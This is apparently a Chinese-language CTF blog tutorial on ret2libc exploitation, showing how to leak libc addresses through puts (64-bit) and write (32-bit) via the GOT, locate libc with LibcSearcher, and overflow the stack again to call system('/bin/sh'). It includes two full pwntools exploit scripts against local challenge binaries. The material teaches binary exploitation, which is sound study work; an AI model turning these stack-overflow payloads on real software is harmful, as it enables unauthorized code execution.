本文最后更新于 2024年10月9日 上午
关于ret2libc的泄露
原理:在程序运行中,当函数运行过一次之后,会将函数的地址存在got表中,我们可以利用输出函数对函数地址进行泄露
puts64位
*题目*

基础检查,只有NX保护
丢入ida

第二个read 明显存在栈溢出
寻找system

发现找不到system 和binsh
也没有flag的字符,初步认为要泄露libc
接下来开始payload的构造
注意64位要用寄存器来传参
用ROR-gadget寻找合适的寄存器

泄露出read的真实地址
1
| payload=b'a'*120+p64(0x400823)+p64(read_got)+p64(puts_plt)+p64(main)
|
下面是接收数据
1 2 3 4 5 6
| read=u64(io.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
|

接下俩找libc版本又两种方法
一个是去下面网站寻找
LibcSearcher

另一种方法是安装LibcSearcher的库
下面是安装教程
LibcSearcher安装
我使用的是第二种方法
泄露出地址之后开始寻找版本
1 2 3 4 5
| libc=LibcSearcher('read',read) libc_base=read-libc.dump('read') system_addr = libc_base + libc.dump('system') bin_sh_addr = libc_base + libc.dump('str_bin_sh')
|

选择正确的版本
最后再进行一次溢出
1
| payload=b'a'*120+p64(0x40057e)+p64(0x400823)+p64(bin_sh_addr)+p64(system_addr)+p64(0xdeadbeef)
|
这里还要注意栈对齐,要用寄存器多绕一步来维持栈平衡

最后运行

最终exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| from pwn import* from LibcSearcher import LibcSearcher context.log_level='debug' io=process('./libc') elf=ELF('./libc') read_got=elf.got['read'] puts_plt=elf.plt['puts'] main=elf.sym['main'] io.recvuntil("Hacker,What's your name?") io.sendline('2') payload=b'a'*120+p64(0x400823)+p64(read_got)+p64(puts_plt)+p64(main) io.recvuntil("then let's begin!\n") io.sendline(payload) read=u64(io.recvuntil('\x7f')[-6:].ljust(8,b'\x00')) print("the read really address\n") print(hex(read)) libc=LibcSearcher('read',read) libc_base=read-libc.dump('read') system_addr = libc_base + libc.dump('system') bin_sh_addr = libc_base + libc.dump('str_bin_sh') io.send('2') payload=b'a'*120+p64(0x40057e)+p64(0x400823)+p64(bin_sh_addr)+p64(system_addr)+p64(0xdeadbeef) io.recvuntil("then let's begin!\n") io.sendline(payload) io.interactive()
|
这里提醒一下读者,一定要注意数据的接收顺序来编写recvuntil,笔者在这里卡了好久
write(32位)
基础检查
*题目*

基础检查,保护基本没开
丢入ida


很简单 read 函数存在明显的栈溢出

同样还是找不到system 也没有flag等字符
初步认为是libc 泄露
那么可以运用write函数来泄露got表
在ida中找到返回函数

使用payload1的构造为
1
| payload =b'a'*140+p32(write)+p32(0x80483f4)+p32(1)+p32(read)+p32(4)
|
这里要注意write函数要传入三个参数
1 2 3 4 5
| ssize_t write(int fd,const void*buf,size_t count); 参数说明: fd:是文件描述符(write所对应的是写,即就是1) buf:通常是一个字符串,需要写入的字符串 count:是每次写入的字节数
|

地址泄露后开始找libc
这次我选择用第一种方法

找到对应地址
开始找算偏移和构造system和binsh 的地址
1 2 3
| base=read_got-0x10a840 system=base+0x04c880 binsh=base+0x1b5fc8
|
最后再进行一次 栈溢出
1
| payload=b'a'*140+p32(system)+p32(0)+p32(binsh)
|
运行exp

最终exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| from pwn import * from LibcSearcher import LibcSearcher sh=process('./123') elf=ELF('./123') read=elf.got['read'] write=elf.plt['write']
payload =b'a'*140+p32(write)+p32(0x80483f4)+p32(1)+p32(read)+p32(4) sh.send(payload) read_got=u32(sh.recv()) print("the read of address :",hex(read_got))
base=read_got-0x10a840 system=base+0x04c880 binsh=base+0x1b5fc8 payload=b'a'*140+p32(system)+p32(0)+p32(binsh) sh.send(payload) sh.interactive()
|